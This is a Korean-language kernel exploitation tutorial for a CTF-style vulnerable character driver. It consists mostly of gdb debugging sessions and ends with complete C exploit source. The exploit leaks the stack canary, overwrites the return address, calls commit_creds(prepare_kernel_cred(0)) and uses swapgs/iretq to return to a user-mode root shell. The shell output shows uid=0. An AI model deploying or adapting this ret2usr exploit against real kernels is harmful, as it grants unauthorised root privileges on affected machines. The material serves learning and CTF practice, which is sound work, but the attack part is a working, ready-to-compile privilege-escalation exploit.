lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./test commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 24 f6 a7 5f 00 00 00 00 a0 2c 6c 00 00 00 00 00 | $??_?,l canary is :24 f6 a7 5f 00 00 00 00 |
0x4010c8 : prepare_kernel_cred() 함수가 호출되는지 확인
0x4010cd : commit_creds() 함수가 호출되는지 확인
0x4010cf : tf 구조체의 주소 값이 전달되는지 확인
Breakpoint 1, 0xffffffffc01a10d0 in ?? () (gdb) x/40i $rip => 0xffffffffc01a10d0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01a10d5: push rbp 0xffffffffc01a10d6: mov rdi,0xffffffffc01a2088 0xffffffffc01a10dd: mov rbp,rsp ... 0xffffffffc01a1140: pop rbx 0xffffffffc01a1141: pop r12 0xffffffffc01a1143: pop rbp 0xffffffffc01a1144: ret 0xffffffffc01a1145: call 0xffffffff8107d560 <__stack_chk_fail> 0xffffffffc01a114a: lea rsi,[rbp-0x58] 0xffffffffc01a114e: mov rdi,0xffffffffc01a20f0 0xffffffffc01a1155: call 0xffffffff81180972 <printk> 0xffffffffc01a115a: mov rax,rbx 0xffffffffc01a115d: jmp 0xffffffffc01a112d 0xffffffffc01a115f: nop 0xffffffffc01a1160: nop DWORD PTR [rax+rax*1+0x0] (gdb) b *0xffffffffc01a1144 Breakpoint 2 at 0xffffffffc01a1144 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01a1144 in ?? () (gdb) si 0x00000000004010ac in ?? () (gdb) x/20i $rip => 0x4010ac: push rbp 0x4010ad: mov rbp,rsp 0x4010b0: push rbx 0x4010b1: sub rsp,0x8 0x4010b5: mov rbx,QWORD PTR [rip+0x2c3dec] # 0x6c4ea8 0x4010bc: mov rax,QWORD PTR [rip+0x2c3ded] # 0x6c4eb0 0x4010c3: mov edi,0x0 0x4010c8: call rax 0x4010ca: mov rdi,rax 0x4010cd: call rbx 0x4010cf: mov eax,0x6c4e80 0x4010d4: mov rsp,rax 0x4010d7: iret 0x4010d8: add rsp,0x8 0x4010dc: pop rbx 0x4010dd: pop rbp 0x4010de: ret 0x4010df: push rbp 0x4010e0: mov rbp,rsp 0x4010e3: push rbx (gdb) b *0x4010c8 Breakpoint 3 at 0x4010c8 (gdb) b *0x4010cd Breakpoint 4 at 0x4010cd (gdb) b *0x4010cf Breakpoint 5 at 0x4010cf (gdb) c Continuing. |
다음과 같이 ret2usr 코드의 동작을 확인할 수 있습니다.
0x4010c8 영역에서 RAX 레지스터에 prepare_kernel_cred() 함수의 주소가 저장되어 정상적으로 호출됩니다.
0x4010cd 영역에서 RBX 레지스터에 commit_creds() 함수의 주소가 저장되어 정상적으로 호출됩니다.
0x4010cf 영역에서 RAX 레지스터에 tf 구조체의 주소 값이 저장되어 RSP 레지스터의 값이 변경됩니다.
Breakpoint 3, 0x00000000004010c8 in ?? () (gdb) i r rax rax 0xffffffff8109da40 -2130060736 (gdb) c Continuing. Breakpoint 4, 0x00000000004010cd in ?? () (gdb) i r rbx rbx 0xffffffff8109d760 -2130061472 (gdb) c Continuing. Breakpoint 5, 0x00000000004010cf in ?? () (gdb) si 0x00000000004010d4 in ?? () (gdb) i r rax rax 0x6c4e80 7097984 (gdb) x/10gx 0x6c4e80 0x6c4e80: 0x000000000040105e 0x0000000000000033 0x6c4e90: 0x0000000000000202 0x00007ffddf1c6dc0 0x6c4ea0: 0x000000000000002b 0xffffffff8109d760 0x6c4eb0: 0xffffffff8109da40 0x0000000000000000 0x6c4ec0: 0x0000000000000060 0x0000000000000040 (gdb) |
(gdb) si 0x00000000004010d7 in ?? () (gdb) x/i $rip => 0x4010d7: iret (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff8800357144c0 -131940498717504 rbp 0xffff88002797bec0 0xffff88002797bec0 rsp 0x6c4e80 0x6c4e80 r8 0xffff880032f833f8 -131940540206088 r9 0xffff88003f807c00 -131940329948160 r10 0xffff88001ba7d0c0 -131940931350336 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff88002797bf20 -131940731076832 r15 0x0 0 rip 0x4010d7 0x4010d7 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x0 0 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981 981 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory. (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff8800357144c0 -131940498717504 rbp 0xffff88002797bec0 0xffff88002797bec0 rsp 0x6c4e50 0x6c4e50 r8 0xffff880032f833f8 -131940540206088 r9 0xffff88003f807c00 -131940329948160 r10 0xffff88001ba7d0c0 -131940931350336 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff88002797bf20 -131940731076832 r15 0x0 0 rip 0xffffffff817f9030 0xffffffff817f9030 <general_protection> eflags 0x46 [ PF ZF ] cs 0x10 16 ss 0x0 0 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) c Continuing. Program received signal SIGINT, Interrupt. 0x0000000001000200 in ?? () (gdb) c Continuing. |
/* * Hypervisor uses this for application faults while it executes. * We get here for two reasons: * 1. Fault while reloading DS, ES, FS or GS * 2. Fault while executing IRET * Category 1 we do not need to fix up as Xen has already reloaded all segment * registers that could be reloaded and zeroed the others. * Category 2 we fix up by killing the current process. We cannot use the * normal Linux return path in this case because if we use the IRET hypercall * to pop the stack frame we end up in an infinite loop of failsafe callbacks. * We distinguish between categories by comparing each saved segment register * with its current contents: any discrepancy means we in category 1. */ ENTRY(xen_failsafe_callback) movl %ds, %ecx cmpw %cx, 0x10(%rsp) jne 1f movl %es, %ecx cmpw %cx, 0x18(%rsp) jne 1f movl %fs, %ecx cmpw %cx, 0x20(%rsp) jne 1f movl %gs, %ecx cmpw %cx, 0x28(%rsp) jne 1f /* All segments match their saved values => Category 2 (Bad IRET). */ movq (%rsp), %rcx movq 8(%rsp), %r11 addq $0x30, %rsp pushq $0 /* RIP */ pushq %r11 pushq %rcx jmp general_protection 1: /* Segment mismatch => Category 1 (Bad segment). Retry the IRET. */ movq (%rsp), %rcx movq 8(%rsp), %r11 addq $0x30, %rsp pushq $-1 /* orig_ax = -1 => not a system call */ ALLOC_PT_GPREGS_ON_STACK SAVE_C_REGS SAVE_EXTRA_REGS jmp error_exit END(xen_failsafe_callback) apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \ xen_hvm_callback_vector xen_evtchn_do_upcall #endif /* CONFIG_XEN */ #if IS_ENABLED(CONFIG_HYPERV) apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \ hyperv_callback_vector hyperv_vector_handler #endif /* CONFIG_HYPERV */ idtentry debug do_debug has_error_code=0 paranoid=1 shift_ist=DEBUG_STACK idtentry int3 do_int3 has_error_code=0 paranoid=1 shift_ist=DEBUG_STACK idtentry stack_segment do_stack_segment has_error_code=1 #ifdef CONFIG_XEN idtentry xen_debug do_debug has_error_code=0 idtentry xen_int3 do_int3 has_error_code=0 idtentry xen_stack_segment do_stack_segment has_error_code=1 #endif idtentry general_protection do_general_protection has_error_code=1 trace_idtentry page_fault do_page_fault has_error_code=1 #ifdef CONFIG_KVM_GUEST idtentry async_page_fault do_async_page_fault has_error_code=1 #endif |
"General Protection Fault"에러를 해결하기 위해 payload()함수에 "swapgs;" 어셈블리코드를 추가합니다.
... void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... |
새로 추가된 코드의 동작을 확인하기 위해 새로 모듈을 등록하고 Breakpoint 설정이 필요합니다.
모듈을 등록하고 Breakpoint를 설정하는 내용은 생략하고 바로 payload()함수를 분석하겠습니다.
0x4010d4 영역에서 추가된 "swapgs" 명령어를 확인할 수 있습니다.
0x00000000004010ac in ?? () (gdb) x/20i $rip => 0x4010ac: push rbp 0x4010ad: mov rbp,rsp 0x4010b0: push rbx 0x4010b1: sub rsp,0x8 0x4010b5: mov rbx,QWORD PTR [rip+0x2c3dec] # 0x6c4ea8 0x4010bc: mov rax,QWORD PTR [rip+0x2c3ded] # 0x6c4eb0 0x4010c3: mov edi,0x0 0x4010c8: call rax 0x4010ca: mov rdi,rax 0x4010cd: call rbx 0x4010cf: mov eax,0x6c4e80 0x4010d4: swapgs 0x4010d7: mov rsp,rax 0x4010da: iretq ... (gdb) b *0x4010cf Breakpoint 3 at 0x4010cf (gdb) c Continuing. |
"SWAPGS" 명령어가 실행되기 전과 후의 레지스터 값의 변화는 "i r" 명령어로 확인이 어렵습니다.
Breakpoint 3, 0x00000000004010cf in ?? () (gdb) si 0x00000000004010d4 in ?? () (gdb) i r rax rax 0x6c4e80 7097984 (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d4 0x4010d4 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010d7 in ?? () (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d7 0x4010d7 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010da in ?? () (gdb) i r rsp rsp 0x6c4e80 0x6c4e80 (gdb) x/i $rip => 0x4010da: iretq (gdb) si 0x000000000040105e in ?? () (gdb) x/10i $rip => 0x40105e: push rbp 0x40105f: mov rbp,rsp 0x401062: mov edx,0x0 0x401067: mov esi,0x494108 0x40106c: mov edi,0x49410b 0x401071: mov eax,0x0 0x401076: call 0x4340f0 0x40107b: pop rbp 0x40107c: ret 0x40107d: push rbp (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./r2u commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l # id uid=0(root) gid=0(root) groups=0(root) # |
//gcc -masm=intel -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512]; size_t rop[512] = {0}; char val[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = (size_t)payload; prepare_tf(); write(fd, rop, 8*k++); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |